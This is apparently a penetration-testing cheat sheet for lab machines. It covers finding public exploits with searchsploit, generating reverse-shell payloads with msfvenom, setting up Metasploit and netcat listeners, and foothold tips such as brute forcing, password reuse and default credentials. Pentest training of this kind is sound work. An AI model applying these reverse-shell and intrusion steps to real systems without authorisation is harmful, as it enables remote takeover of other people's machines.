Comment on page
How to hack without Metasploit
searchsploit keyword1 keyword2 keyword3 ...
searchsploit -m [exploit database id]
If searchsploit fails to find any juicy exploits, try Google. If Google fails, well, there’s probably not a public exploit. TRY HARDER!
It may be exploitable with:
- Public POC (github, blog etc.)
- Need to understand the code and POC
- Try with your own
- Bruteforcing
- Clear text password in files (need detail enumeration)
To open a Meterpreter session or a reverse shell so that you can take control of the victim box.
msfvenom -p [payload] -f [format] LHOST=[your ip] LPORT=[your listener port]
- staged -
windows/shell/reverse_tcp - unstaged -
“windows/shell_reverse_tcp”
Other option
-eto choose an encoder-ballows you to set bad characters
List all payloads for msfvenom
msfvenom --list payloads
Metasploit multi/handler listener
use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/shell/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.1.109
msf exploit(multi/handler) > set lport 1234
msf exploit(multi/handler) > exploit
Netcat listener (unstaged payload)
root@kali:~# nc -nvlp 80
nc: listening on :: 80 ...
nc: listening on 0.0.0.0 80 ...
Enumerate more means:
- Scan ports, scan all the ports, scan using different scanning techniques,
- brute force web dirs, brute force web dirs using different wordlist and tools
- check for file permissions, check for registry entries, check for writable folders, check for privileged processes and services, check for interesting files,
- look for a more suitable exploit using searchsploit, search google for valuable information, etc.
- webserver version, web app version, CMS version, plugin versions
Tip for Foothold :
- Password reuse
- The default password of the application / CMS
- Guess the file location incase of LFI with username
- username from any notes inside the machine might be useful for Bruteforce
- Try harder doesn’t mean you have to try the same exploit with 200x thread count or with an angry face. Go, enumerate harder.
Last modified 1yr ago